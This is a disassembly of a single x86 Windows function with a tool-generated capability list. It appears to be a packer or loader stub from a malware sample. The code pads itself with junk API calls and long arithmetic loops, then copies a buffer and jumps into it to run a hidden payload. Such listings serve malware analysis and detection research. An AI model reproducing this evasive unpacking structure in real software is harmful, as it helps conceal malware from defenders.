Function at 0x403580
Capabilities:
Delete directory
Get common file path
Get file attributes
Get uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x45fe8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x1b30
call fcn.00411730
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x4d6e7c], 0xac
push edi
jne 0x403681
push esi
lea eax, [esp + 0x1344]
push eax
push esi
push 0x402dd0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov dword [esp + 0x104], 0xf
mov dword [esp + 0x100], esi
mov byte [esp + 0xf0], 0
push esi
mov dword [esp + 0x1b80], esi
call fcn.004041e8
add esp, 4
push esi
push esi
call fcn.00404372
add esp, 8
lea ecx, [esp + 0x4c]
call fcn.0040421c
lea ecx, [esp + 0x4c]
call fcn.004042fa
push 1
push 0x462540
lea ecx, [esp + 0x54]
call fcn.00404280
lea ecx, [esp + 0x4c]
mov dword [esp + 0x4c], 0x402e48
call fcn.004042fa
push esi
call fcn.00404499
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404500
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404340
fstp st(0)
add esp, 0x10
push esi
call fcn.0040485a
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthI]
cmp esi, 0xd29a
jge 0x40369e
push 0
lea ecx, [esp + 0x40]
push ecx
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0x140e1
jl 0x403687
add dword [0x4d6e7c], 0x11b1b
call fcn.004034a0
call fcn.004034c0
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
xor esi, esi
cmp dword [0x4d6e7c], esi
jbe 0x403767
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ebp, dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
jmp 0x4036e0
mov edx, dword [0x4d781c]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x4d3d84]
mov byte [ecx + esi], al
cmp dword [0x4d6e7c], 0xa8
jne 0x40375a
push 0
push 0
push 0
call ebx
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
lea edx, [esp + 0x4c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
xor eax, eax
xor ecx, ecx
mov word [esp + 0x3e], cx
lea edx, [esp + 0x48]
push edx
mov word [esp + 0x40], ax
mov eax, dword [esp + 0x40]
push eax
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0xb4]
push edx
push 0
call edi
inc esi
cmp esi, dword [0x4d6e7c]
jb 0x4036e0
mov esi, dword [esp + 0x44]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
mov dword [esp + 0x40], eax
mov ecx, dword [0x4d6e7c]
add ecx, eax
cmp ecx, 0xe
jne 0x403827
push 0
push 0
push 0
call sub.KERNEL32.dll_SetConsoleDisplayMode
push 0
push 0
push 0
call ebp
call ebx
xor edx, edx
xor eax, eax
mov word [esp + 0x3e], ax
lea ecx, [esp + 0x44]
push ecx
mov word [esp + 0x40], dx
mov edx, dword [esp + 0x40]
push edx
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0xb4]
push ecx
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
lea edx, [esp + 0x120]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x30
lea eax, [esp + 0xf4]
push 0
push eax
mov dword [esp + 0xf8], 0
call fcn.00407550
add esp, 0xc
push esi
lea ecx, [esp + 0xf0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [esp + 0x40]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x40], eax
jl 0x40377d
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403842
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x3ba47d4
jge 0x403cb5
mov dword [esp + 0x7c], 0xe4ed074
mov dword [esp + 0xc8], 0x5420d43
mov dword [esp + 0x44], 0x10a78263
mov dword [esp + 0x6c], 0x7c3d17e
mov dword [esp + 0x84], 0x497f36b8
mov dword [esp + 0x60], 0x641ec599
mov dword [esp + 0xb8], 0x1bd71606
mov dword [esp + 0xd0], 0x7992305d
mov dword [esp + 0xe4], 0x29ad751b
mov dword [esp + 0x80], 0x3001d4a8
mov dword [esp + 0x94], 0x441f30de
mov dword [esp + 0xc4], 0x5afca5b7
mov dword [esp + 0x88], 0x431b2ca2
mov dword [esp + 0x70], 0x37d2dcbc
mov dword [esp + 0x5c], 0x31c00e19
mov dword [esp + 0xbc], 0x25827540
mov dword [esp + 0xa0], 0xdac66bc
mov dword [esp + 0x64], 0x64d52cc1
mov dword [esp + 0xe8], 0x34c65f6f
mov dword [esp + 0xe0], 0x73fdda6e
mov dword [esp + 0x68], 0x4e451508
mov dword [esp + 0xb4], 0x516a418e
mov dword [esp + 0x48], 0x690c9616
mov dword [esp + 0x78], 0x4ab11750
mov dword [esp + 0xa4], 0x4195043
mov dword [esp + 0xdc], 0x655b6d8c
mov dword [esp + 0x8c], 0xecd1e01
mov dword [esp + 0xcc], 0x12fcaaed
mov dword [esp + 0x58], 0x45dc35e
mov dword [esp + 0x4c], 0x54f82ac9
mov dword [esp + 0x3c], 0x25a9fe80
mov dword [esp + 0xc0], 0x21c743fd
mov dword [esp + 0x98], 0x338b8020
mov dword [esp + 0xa8], 0x20f97bcd
mov dword [esp + 0x90], 0x7bbec604
mov dword [esp + 0x74], 0x1c62592f
mov dword [esp + 0xd4], 0x2ab3b125
mov dword [esp + 0xd8], 0x5fb7d8c4
mov dword [esp + 0x40], 0x66f6c7aa
mov dword [esp + 0xb0], 0x1feab2a2
mov dword [esp + 0x9c], 0x45edd9b1
mov eax, 0x8fece8e
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x7c], 0x7a9fb392
sub dword [esp + 0x7c], 0x7822d7af
sub dword [esp + 0x7c], 0x360bd7bf
sub dword [esp + 0x7c], 0x24f9b9c4
mov eax, 0x68a7e82c
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x36271457
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x1fc8bfad
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0xc8], 0x209778b2
sub dword [esp + 0x44], 0x1ae69fb7
add dword [esp + 0x6c], 0x3b05de47
add dword [esp + 0x84], 0x6ab90218
mov eax, 0x69eccf1c
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
mov eax, 0x4a4e0ecf
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x7c], 0x504e8765
add dword [esp + 0xc8], 0x3c9f7595
add dword [esp + 0x84], 0x4e33095
mov eax, 0x446ef157
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x57fd3cfa
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
add dword [esp + 0xc4], 0x3a7ad023
sub dword [esp + 0xe4], 0x59bdfe55
add dword [esp + 0x94], 0x7781908c
mov eax, 0x73e4e5a3
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0xc8], 0x2810496b
mov eax, 0x6626a36e
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0xc8], 0x46b62018
mov eax, 0x23604659
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0x2a9a98e9
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
add dword [esp + 0x44], 0x69969aaf
add dword [esp + 0x60], 0x3c49e8f0
sub dword [esp + 0xc8], 0x4de48f07
add dword [esp + 0xe0], 0x3436063c
mov eax, 0x174d5c4
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
add dword [esp + 0x44], 0x184f2913
sub dword [esp + 0xd0], 0x642e844b
add dword [esp + 0x88], 0x4735a73a
add dword [esp + 0x88], 0x18944d04
sub dword [esp + 0x94], 0x77902b90
add dword [esp + 0x94], 0x3fc322c6
sub dword [esp + 0x6c], 0x6ea0c6f
sub dword [esp + 0x80], 0x2e56d3f8
mov eax, 0x2ae97b08
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x78], 0x66d891cd
sub dword [esp + 0xd0], 0x25c902c8
mov eax, 0x44d3c05a
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0x88], 0x28440cbc
mov eax, 0x44ade672
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
add dword [esp + 0x6c], 0x1b0114de
add dword [esp + 0xb8], 0x536dd4b9
sub dword [esp + 0x64], 0x37d84e16
mov eax, 0xf7f03db
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
add dword [esp + 0x4c], 0x4dd43080
mov eax, 0x2a0671b2
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x8c], 0xa221b7f
mov eax, 0x80f0313
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
sub dword [esp + 0xcc], 0x34a973db
mov eax, 0xeea7189
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
sub dword [esp + 0x48], 0x3d340059
add dword [esp + 0x58], 0x2f1cd4b4
cmp esi, 0xbf5719
jg 0x403cca
inc esi
cmp esi, 0x19ddaa38
jl 0x403857
call fcn.00403370
xor edx, edx
cmp edx, 0x26
jne 0x403cdb
call fcn.00403480
inc edx
cmp edx, 0x409495
jl 0x403cd1
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
mov ebp, 0x7b
jmp 0x403d00
cmp dword [0x4d6e7c], 0x86
jne 0x403d1f
push 0
call esi
push 0x402e1c
call edi
push 0
push 0
push 0
call ebx
sub ebp, 1
jne 0x403d00
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
mov dword [esp + 0x40], 0x180ef
cmp dword [0x4d6e7c], 0x1f
jne 0x403d94
push 0
lea eax, [esp + 0xf44]
push eax
call esi
push 0
lea ecx, [esp + 0x5c]
push ecx
push 0
lea edx, [esp + 0x34c]
push edx
push 0
call edi
push 0
lea eax, [esp + 0x744]
push eax
call esi
push 0
push 0
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0xb44]
push ecx
push 0
push 0
call ebp
sub dword [esp + 0x40], 1
jne 0x403d44
call fcn.004030e0
mov eax, dword [0x4d3d84]
mov dword [0x4d6e70], eax
call eax
mov ecx, dword [esp + 0x1b74]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret